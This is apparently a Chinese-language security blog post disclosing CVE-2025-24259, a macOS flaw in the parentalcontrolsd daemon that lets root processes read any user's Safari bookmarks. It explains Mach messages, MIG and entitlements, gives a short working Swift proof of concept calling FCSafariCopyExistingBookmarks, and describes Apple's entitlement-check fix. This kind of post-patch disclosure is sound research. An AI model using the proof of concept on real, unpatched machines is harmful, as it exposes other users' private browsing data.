CVE-2025-24259:macOS 上的书签泄露漏洞

2025-03-31 by Noah Gregory

简要概述

星期一快乐!您可能需要立即更新您的 Mac。macOS Ventura 13.7.5macOS Sonoma 14.7.5macOS Sequoia 15.4 已经发布。它们包含许多补丁,其中 15.4 包含针对 131 个 CVE 的补丁。如果您好奇并想验证,只需打开该更新的安全发布说明,然后搜索字符串“CVE-202”。截至撰写本文时,您将在该页面上找到 131 个匹配项。

其中一个 CVE,CVE-2025-24259,允许 root 进程泄露任何用户的 Safari 书签。

简要回顾

对于那些没有阅读 我上一篇文章 的人,这里是基本要点:

  1. macOS 上的进程通过 Mach messages 相互通信。
  2. MIG (the Mach Interface Generator) 可以围绕 Mach messages 生成 RPC 风格 API 的代码。
  3. 进程可执行文件可以使用称为 entitlements 的键值对进行签名。
  4. 一个名为 AMFI 的内核模块扫描每个启动的进程的 entitlements,并立即终止那些使用缺乏适当 provisioning profile 的“restricted entitlements”签名的进程。
  5. 任何在 macOS 设备上运行的进程都必须通过该内核模块,因此可以假定其 entitlements 字典是可信的。
  6. Mach message 包含一个内核附加的 trailer,其中包含(除其他外)一个 audit token,接收者可以使用该 token 唯一标识发送进程并读取其 entitlements。
  7. Mach message 接收者 应该 利用这一点,并忽略来自未经授权的发送者的消息。
  8. 有些接收者不这样做。

关于 MIG 客户端代码

正如我在之前的文章中解释的那样,Mach message 发送者通常被称为 clients,而 Mach message 接收者通常被称为 servers。如果您想知道为什么会这样,请查看该文章。无论如何,如上所述,MIG 可以围绕 Mach messages 生成函数接口的代码。在我之前的文章中,我模仿客户端代码向一个不检查 entitlements 的 daemon 发送 Mach messages,从而允许我访问受限资源。本文与此类似,但我们将通过不自己编写客户端代码来节省一些时间。

Parental/Family Controls Daemon

“parental controls” daemon 是 macOS 上的一个 MIG daemon,位于:

/System/Library/PrivateFrameworks/FamilyControls.framework/Resources/parentalcontrolsd

当然,daemon 本身包含 MIG server 代码。MIG client 代码位于它包含的 FamilyControls framework 中。这是我见过的 daemon 的一种相当常见的模式,并且拥有现有的客户端代码对安全研究非常有帮助。当然,我们可以在我们的 PoC 中重新创建客户端代码,但有时只需使用已经存在的客户端代码要简单得多。

概念验证 (Proof-Of-Concept)

虽然我在之前的文章中使用的 Kass 工具确实包含 动态链接的不错的包装器,但它不是绝对必要的。我们可以使用标准的 dlopen/dlsym 调用从 FamilyControls framework 中引入 MIG client 代码并调用它。它实际上不需要那么多 Swift 代码:

import Foundation
if getuid() != 0 {
  print("This program should be run as root.")
  exit(1)
}
if CommandLine.argc != 2 { 
  print("Usage: \(String(cString: getprogname()!, encoding: .utf8)!) <username>")
  exit(1)
}
let fFamilyControls =
  dlopen("/System/Library/PrivateFrameworks/FamilyControls.framework/FamilyControls", RTLD_LAZY)!
let FCSafariCopyExistingBookmarks
  = unsafeBitCast(
    dlsym(fFamilyControls, "FCSafariCopyExistingBookmarks"),
    to: (@convention(c) (String, Data) -> AnyObject?).self
  )
print(FCSafariCopyExistingBookmarks(CommandLine.arguments[1], Data()) as AnyObject)

使用 swiftc 编译上述代码并以 root 身份运行生成的可执行文件将打印出指定用户的 Safari 书签。我只在测试中针对单个用户进行了测试,但我没有看到为什么这不适用于设备上的所有用户(特别是由于是 daemon 本身正在访问书签,并且它应该具有对所有书签的读取权限,无论用户如何)。

对于那些想知道的人,FCSafariCopyExistingBookmarks 的第二个参数接受一个 Data[](https://wts.dev/posts/bookmarks-leak/<https:/developer.apple.com/documentation/foundation/data>) 对象,该对象表示 AuthorizationExternalForm[](https://wts.dev/posts/bookmarks-leak/<https:/developer.apple.com/documentation/security/authorizationexternalform>) 的字节,可用于授权复制书签。但是,在没有有效授权对象的情况下,parentalcontrolsd 仍然允许 root 调用者复制书签,因此我们传递一个空的 Data 对象。

Apple 的解决方案

Apple 在这里的解决方案是再次添加 entitlement 检查。现在,当 parentalcontrolsd 尝试调用该特定的 MIG 例程来复制 Safari 书签时,它将忽略没有将 com.apple.private.parentalcontrols entitlement 键设置为布尔值 true 的 clients。

结论

这再次强调了在处理 Mach messages 之前验证发送者的重要性。像我的上一篇文章一样,这是一个简单的漏洞,解决方案也很简单,我很高兴它已被修复。

一如既往... 关注这个空间。

*[RPC]: remote procedure call *[AMFI]: Apple Mobile File Integrity *[PoC]: proof-of-concept